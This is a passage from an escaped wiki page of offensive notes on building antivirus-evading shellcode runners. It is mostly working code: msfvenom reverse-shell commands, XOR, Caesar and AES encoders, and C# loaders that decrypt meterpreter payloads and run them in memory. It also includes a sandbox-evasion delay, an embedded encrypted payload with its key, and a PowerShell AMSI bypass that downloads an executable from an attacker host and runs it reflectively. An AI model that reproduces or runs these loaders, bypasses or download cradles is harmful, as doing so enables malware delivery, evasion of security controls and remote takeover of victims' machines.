            Console.WriteLine($&amp;quot;byte[] buf = new byte[{buf.Length}] {{\n{hex}\n}};&amp;quot;);&lt;br /&gt;
            //// Decode the XOR payload&lt;br /&gt;
            //for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            //{&lt;br /&gt;
            //    buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            //}&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA shellcode - &#039;&#039;&#039; Encrypt VBA shellcode&lt;br /&gt;
&lt;br /&gt;
REMEMBER - Check if Word is running 32-bit or 64-bit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f vbapplication&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace XorCoder&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Sample shellcode (replace with your own)&lt;br /&gt;
            byte[] buf = { 252, 72, 131, 228, 240, 232, 204, 0, 0, 0, 65, 81, 65, 80, 82, 81, 72, 49, 210, 101, 72, 139 };&lt;br /&gt;
            // XOR encryption&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            byte XORKey = 250;&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                encoded[i] = (byte)(buf[i] ^ XORKey);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            int counter = 0;  // Initialize counter&lt;br /&gt;
            foreach (byte b in encoded)&lt;br /&gt;
            {&lt;br /&gt;
                hex.AppendFormat(&amp;quot;{0:D}, &amp;quot;, b);&lt;br /&gt;
                counter++;&lt;br /&gt;
                if (counter % 50 == 0)&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;_{0}&amp;quot;, Environment.NewLine);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;The XOR encoded payload is: &amp;quot;);&lt;br /&gt;
            Console.WriteLine(hex.ToString());&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Running encrypted shellcodes ===&lt;br /&gt;
&lt;br /&gt;
==== AES - Using python helper ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Encryptor/tree/master plackyhacker/Shellcode-Encryptor: A simple shell code encryptor/decryptor/executor to bypass anti virus. (github.com)]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Injection-Techniques/tree/master plackyhacker/Shellcode-Injection-Techniques: A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload. I will be building this project up as I learn, discover or develop more techniques. Some techniques are better than others at bypassing AV. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Cryptography;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.IO;&lt;br /&gt;
namespace ProcessInjection&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        public enum Protection&lt;br /&gt;
        {&lt;br /&gt;
            PAGE_NOACCESS = 0x01,&lt;br /&gt;
            PAGE_READONLY = 0x02,&lt;br /&gt;
            PAGE_READWRITE = 0x04,&lt;br /&gt;
            PAGE_WRITECOPY = 0x08,&lt;br /&gt;
            PAGE_EXECUTE = 0x10,&lt;br /&gt;
            PAGE_EXECUTE_READ = 0x20,&lt;br /&gt;
            PAGE_EXECUTE_READWRITE = 0x40,&lt;br /&gt;
            PAGE_EXECUTE_WRITECOPY = 0x80,&lt;br /&gt;
            PAGE_GUARD = 0x100,&lt;br /&gt;
            PAGE_NOCACHE = 0x200,&lt;br /&gt;
            PAGE_WRITECOMBINE = 0x400&lt;br /&gt;
        }&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);&lt;br /&gt;
        private delegate Int32 ShellcodeDelegate();&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Shellcode();&lt;br /&gt;
        }&lt;br /&gt;
        static void Shellcode()&lt;br /&gt;
        {&lt;br /&gt;
            // attempt heuristics/behaviour bypass&lt;br /&gt;
            IntPtr mem = VirtualAllocExNuma(System.Diagnostics.Process.GetCurrentProcess().Handle, IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);&lt;br /&gt;
            if (mem == null)&lt;br /&gt;
            {&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // decrypt the base64 payload - change these to your own encrypted payload and key&lt;br /&gt;
            string payload = &amp;quot;sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg&amp;quot;;&lt;br /&gt;
            string key = &amp;quot;fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec&amp;quot;;&lt;br /&gt;
            byte[] buf = Decrypt(key, payload);&lt;br /&gt;
            unsafe&lt;br /&gt;
            {&lt;br /&gt;
                fixed(byte* ptr = buf)&lt;br /&gt;
                {&lt;br /&gt;
                    // set the memory as executable and execute the function pointer (as a delegate)&lt;br /&gt;
                    IntPtr memoryAddress = (IntPtr)ptr;&lt;br /&gt;
                    VirtualProtect(memoryAddress, (UIntPtr)buf.Length, (UInt32)Protection.PAGE_EXECUTE_READWRITE, out uint lpfOldProtect);&lt;br /&gt;
                    ShellcodeDelegate func = (ShellcodeDelegate)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(ShellcodeDelegate));&lt;br /&gt;
                    func();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        private static byte[] Decrypt(string key, string aes_base64)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] tempKey = Encoding.ASCII.GetBytes(key);&lt;br /&gt;
            tempKey = SHA256.Create().ComputeHash(tempKey);&lt;br /&gt;
            byte[] data = Convert.FromBase64String(aes_base64);&lt;br /&gt;
            // decrypt data&lt;br /&gt;
            Aes aes = new AesManaged();&lt;br /&gt;
            aes.Mode = CipherMode.CBC;&lt;br /&gt;
            aes.Padding = PaddingMode.PKCS7;&lt;br /&gt;
            ICryptoTransform dec = aes.CreateDecryptor(tempKey, SubArray(tempKey, 16));&lt;br /&gt;
            using (MemoryStream msDecrypt = new MemoryStream())&lt;br /&gt;
            {&lt;br /&gt;
                using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, dec, CryptoStreamMode.Write))&lt;br /&gt;
                {&lt;br /&gt;
                    csDecrypt.Write(data, 0, data.Length);&lt;br /&gt;
                    return msDecrypt.ToArray();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static byte[] SubArray(byte[] a, int length)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] b = new byte[length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                b[i] = a[i];&lt;br /&gt;
            }&lt;br /&gt;
            return b;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Instruction:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Use the &amp;lt;code&amp;gt;meterpreter_encryptor.py&amp;lt;/code&amp;gt; to create the encrypted base64 shellcode:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@kali:~# ./meterpreter_encryptor.py -p windows/x64/meterpreter/reverse_https -i 192.168.1.228 -l 443 -f b64&lt;br /&gt;
[+] Generating MSFVENOM payload...&lt;br /&gt;
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload&lt;br /&gt;
[-] No arch selected, selecting arch: x64 from the payload&lt;br /&gt;
Found 1 compatible encoders&lt;br /&gt;
Attempting to encode payload with 1 iterations of x64/xor_dynamic&lt;br /&gt;
x64/xor_dynamic succeeded with size 667 (iteration=0)&lt;br /&gt;
x64/xor_dynamic chosen with final size 667&lt;br /&gt;
Payload size: 667 bytes&lt;br /&gt;
Saved as: ./msf.bin&lt;br /&gt;
[+] Encrypting the payload, key=fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec...&lt;br /&gt;
[+] Base64 output:&lt;br /&gt;
sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Take the key and shellcode and insert it into [https://github.com/plackyhacker/ShellcodeEncryptor/blob/master/ProcessInjection.cs ProcessInjector.cs]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
// decrypt the base64 payload&lt;br /&gt;
string payload = &amp;quot;sZkMii [etc...]&amp;quot;;&lt;br /&gt;
string key = &amp;quot;fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec&amp;quot;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Compile the C# code into an executable (e.g., &amp;lt;code&amp;gt;metInject.exe&amp;lt;/code&amp;gt;) and serve it via a web server.&lt;br /&gt;
&lt;br /&gt;
Inject the executable into a remote PowerShell process:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# AMSI bypass&lt;br /&gt;
$a = [Ref].Assembly.GetTypes();ForEach($b in $a) {if ($b.Name -like &amp;quot;*iutils&amp;quot;) {$c = $b}};$d = $c.GetFields(&#039;NonPublic,Static&#039;);ForEach($e in $d) {if ($e.Name -like &amp;quot;*itFailed&amp;quot;) {$f = $e}};$f.SetValue($null,$true)&lt;br /&gt;
$bytes = (Invoke-WebRequest &amp;quot;http://192.168.1.228/metInject.exe&amp;quot;).Content;&lt;br /&gt;
$assembly = [System.Reflection.Assembly]::Load($bytes);&lt;br /&gt;
$entryPointMethod = $assembly.GetType(&#039;ProcessInjection.Program&#039;, [Reflection.BindingFlags] &#039;Public, NonPublic&#039;).GetMethod(&#039;Main&#039;, [Reflection.BindingFlags] &#039;Static, Public, NonPublic&#039;);&lt;br /&gt;
$entryPointMethod.Invoke($null, (, [string[]] (&#039;&#039;, &#039;&#039;)));&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AES - Csharp ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.IO;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Cryptography;&lt;br /&gt;
&lt;br /&gt;
/*-----------------------------------------------&lt;br /&gt;
 * Simple-Loader.exe: Simple Shellcode Loader   |&lt;br /&gt;
 *                                              |&lt;br /&gt;
 * Author: @jfaust0                             |&lt;br /&gt;
 * Contact: joshua.faust@sevrosecurity.com      |&lt;br /&gt;
 * Website: SevroSecurity.com                   |&lt;br /&gt;
 * ---------------------------------------------*/&lt;br /&gt;
&lt;br /&gt;
namespace goodTimes&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // CHANGE THESE VALUES --&amp;gt; Seriosuly, these should not be hard coded!&lt;br /&gt;
        public static byte[] key = new byte[] { 0x33, 0xED, 0x8A, 0x15, 0xD9, 0x26, 0xC5, 0x1C, 0x95, 0xF1, 0x4C, 0x11, 0xE4, 0x37, 0xD4, 0x5B, 0xE8, 0xDD, 0x8E, 0xED, 0xDC, 0x01, 0x38, 0xC7 };&lt;br /&gt;
        public static byte[] iv = new byte[] { 0x2B, 0x6F, 0xD1, 0xE3, 0x59, 0x6F, 0xC3, 0x31, 0x62, 0xC9, 0x98, 0x55, 0x7B, 0x00, 0xCB, 0xD1 };&lt;br /&gt;
        // MAIN&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String app_name = AppDomain.CurrentDomain.FriendlyName;&lt;br /&gt;
            String usage = $&amp;quot;Usage: {app_name} &amp;quot;;&lt;br /&gt;
            // ENCRYPT PAYLOAD&lt;br /&gt;
            if (args.Length == 1)&lt;br /&gt;
            {&lt;br /&gt;
                if (!File.Exists($@&amp;quot;{args[0]}&amp;quot;))&lt;br /&gt;
                {&lt;br /&gt;
                    Console.WriteLine(&amp;quot;[!] File Does Not Exist!&amp;quot;);&lt;br /&gt;
                    Environment.Exit(1);&lt;br /&gt;
                }&lt;br /&gt;
                Console.WriteLine(&amp;quot;[i] Encrypting Data&amp;quot;);&lt;br /&gt;
                // Read in MetaSploit Byte[] Code from File&lt;br /&gt;
                String fileData = System.IO.File.ReadAllText($@&amp;quot;{args[0]}&amp;quot;);&lt;br /&gt;
                String tmp = (fileData.Split(&#039;{&#039;)[1]).Split(&#039;}&#039;)[0];&lt;br /&gt;
                // Translate to Byte Array&lt;br /&gt;
                string[] s = tmp.Split(&#039;,&#039;);&lt;br /&gt;
                byte[] data = new byte[s.Length];&lt;br /&gt;
                for (int i = 0; i  1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(usage);&lt;br /&gt;
                Environment.Exit(1);&lt;br /&gt;
            }&lt;br /&gt;
            // RUN PAYLOAD&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                // msfvenom -p windows/exe cmd=calc.exe -f csharp --&amp;gt; CHANGE ME!&lt;br /&gt;
                String hiphop = &amp;quot;ZxOy1BksVfrlq8wcmyHY8GwwiBZd8NGrGQiKvx15hcv9sQ9apoO6NGbNBxAeS4NLHSz4owcdPgQTTejYJr80Ke4ynoy41yrc5RD0uqt1ppyxDAeYGATQy7xFbN247gwFee5cPZAFyBzbI6DvOLBFSJiP64kv5T7pX3iapVsX7ORmg7Ubfa1M9PcYNm5qzS9dyHxFdeD578YA6DGYC0UPzmeDXB11R0MWmPAkRGFftQp + YdurMHce1R4HC9bQ0gtm / MLHIP / UTPbIUtwrEAqQ / SYJcJCmeCPynYLNYrn9ae1xvCBokUTgdK + gpUa58ss2F4F60p1ujZNHmQ1Bn39WZmK5R4wSVmdFJpKRZXeGycAziEVlGjsS7XDKsvQvWvaZKqealuTWxH9q6n++zrRJZ0TBorjcFHKJZOLK5bNgKx0DbmFHXz + KBH400o&amp;quot;;&lt;br /&gt;
                byte[] de_data = Decrypt(Convert.FromBase64String(hiphop), key, iv);&lt;br /&gt;
                nonsense(de_data);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        // Shell Code Loader&lt;br /&gt;
        public static bool nonsense(byte[] shellcode)&lt;br /&gt;
        {&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,&lt;br /&gt;
                    MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
                Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);&lt;br /&gt;
                IntPtr hThread = IntPtr.Zero;&lt;br /&gt;
                UInt32 threadId = 0;&lt;br /&gt;
                IntPtr pinfo = IntPtr.Zero;&lt;br /&gt;
                hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);&lt;br /&gt;
                WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
                return true;&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.Error.WriteLine(&amp;quot;exception: &amp;quot; + e.Message);&lt;br /&gt;
                return false;&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        // Used to Load Shellcode into Memory:&lt;br /&gt;
        private static UInt32 MEM_COMMIT = 0x1000;&lt;br /&gt;
        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,&lt;br /&gt;
             UInt32 size, UInt32 flAllocationType, UInt32 flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
        private static extern IntPtr CreateThread(&lt;br /&gt;
          UInt32 lpThreadAttributes,&lt;br /&gt;
          UInt32 dwStackSize,&lt;br /&gt;
          UInt32 lpStartAddress,&lt;br /&gt;
          IntPtr param,&lt;br /&gt;
          UInt32 dwCreationFlags,&lt;br /&gt;
          ref UInt32 lpThreadId&lt;br /&gt;
          );&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
        private static extern UInt32 WaitForSingleObject(&lt;br /&gt;
          IntPtr hHandle,&lt;br /&gt;
          UInt32 dwMilliseconds&lt;br /&gt;
        );&lt;br /&gt;
&lt;br /&gt;
        public static byte[] Encrypt(byte[] data, byte[] key, byte[] iv)&lt;br /&gt;
        {&lt;br /&gt;
            using (var aes = Aes.Create())&lt;br /&gt;
            {&lt;br /&gt;
                aes.KeySize = 256;&lt;br /&gt;
                aes.BlockSize = 128;&lt;br /&gt;
                aes.Padding = PaddingMode.Zeros;&lt;br /&gt;
                aes.Key = key;&lt;br /&gt;
                aes.IV = iv;&lt;br /&gt;
                using (var encryptor = aes.CreateEncryptor(aes.Key, aes.IV))&lt;br /&gt;
                {&lt;br /&gt;
                    return PerformCryptography(data, encryptor);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        public static byte[] Decrypt(byte[] data, byte[] key, byte[] iv)&lt;br /&gt;
        {&lt;br /&gt;
            using (var aes = Aes.Create())&lt;br /&gt;
            {&lt;br /&gt;
                aes.KeySize = 256;&lt;br /&gt;
                aes.BlockSize = 128;&lt;br /&gt;
                aes.Padding = PaddingMode.Zeros;&lt;br /&gt;
                aes.Key = key;&lt;br /&gt;
                aes.IV = iv;&lt;br /&gt;
                using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))&lt;br /&gt;
                {&lt;br /&gt;
                    return PerformCryptography(data, decryptor);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        private static byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform)&lt;br /&gt;
        {&lt;br /&gt;
            using (var ms = new MemoryStream())&lt;br /&gt;
            using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))&lt;br /&gt;
            {&lt;br /&gt;
                cryptoStream.Write(data, 0, data.Length);&lt;br /&gt;
                cryptoStream.FlushFinalBlock();&lt;br /&gt;
                return ms.ToArray();&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Ceasar ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Csharp shellcode&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading;&lt;br /&gt;
namespace ConsoleApp1&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,&lt;br /&gt;
            uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes,&lt;br /&gt;
            uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter,&lt;br /&gt;
            uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern UInt32 WaitForSingleObject(IntPtr hHandle,&lt;br /&gt;
            UInt32 dwMilliseconds);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] buf = new byte[510] {0xfe, 0x4a,.....&lt;br /&gt;
};&lt;br /&gt;
            for(int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                buf[i] = (byte)(((uint)buf[i] - 2) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            int size = buf.Length;&lt;br /&gt;
            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(buf, 0, addr, size);&lt;br /&gt;
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr,&lt;br /&gt;
                IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
            WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA shellcode &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Change the XOR vba runner with this&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
For i = 0 To UBound(buf)&lt;br /&gt;
buf(i) = buf(i) - 2&lt;br /&gt;
Next i&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== XOR ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;CSharp&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System;&lt;br /&gt;
namespace rev&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public const uint EXECUTEREADWRITE  = 0x40;&lt;br /&gt;
        public const uint COMMIT_RESERVE = 0x3000;&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern void Sleep(uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;Kernel32.dll&amp;quot;, CharSet = CharSet.Auto, SetLastError = true)]&lt;br /&gt;
        private unsafe static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, uint lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        public static extern Int32 WaitForSingleObject(IntPtr Handle, Int32 Wait);&lt;br /&gt;
        public static void Main()&lt;br /&gt;
        {&lt;br /&gt;
            DateTime t1 = DateTime.Now;&lt;br /&gt;
            Sleep(10000);&lt;br /&gt;
            double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;&lt;br /&gt;
            if (deltaT &amp;lt; 9.5)&lt;br /&gt;
            {&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
            // XORed with key 0xfa&lt;br /&gt;
            byte[] buf = new byte[511] {&lt;br /&gt;
            0x06, 0xb2, 0x79, 0x1e, 0x0a, 0x12, 0x36, 0xfa, 0xfa, 0xfa, 0xbb, 0xab, 0xbb, 0xaa&lt;br /&gt;
            };&lt;br /&gt;
            int payloadSize = buf.Length;&lt;br /&gt;
            IntPtr payAddr = VirtualAlloc(IntPtr.Zero, payloadSize, COMMIT_RESERVE, EXECUTEREADWRITE);&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            }&lt;br /&gt;
            Marshal.Copy(buf, 0, payAddr, payloadSize);&lt;br /&gt;
            IntPtr payThreadId = CreateThread(IntPtr.Zero, 0, payAddr, IntPtr.Zero, 0, 0);&lt;br /&gt;
            int waitResult = WaitForSingleObject(payThreadId, -1);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
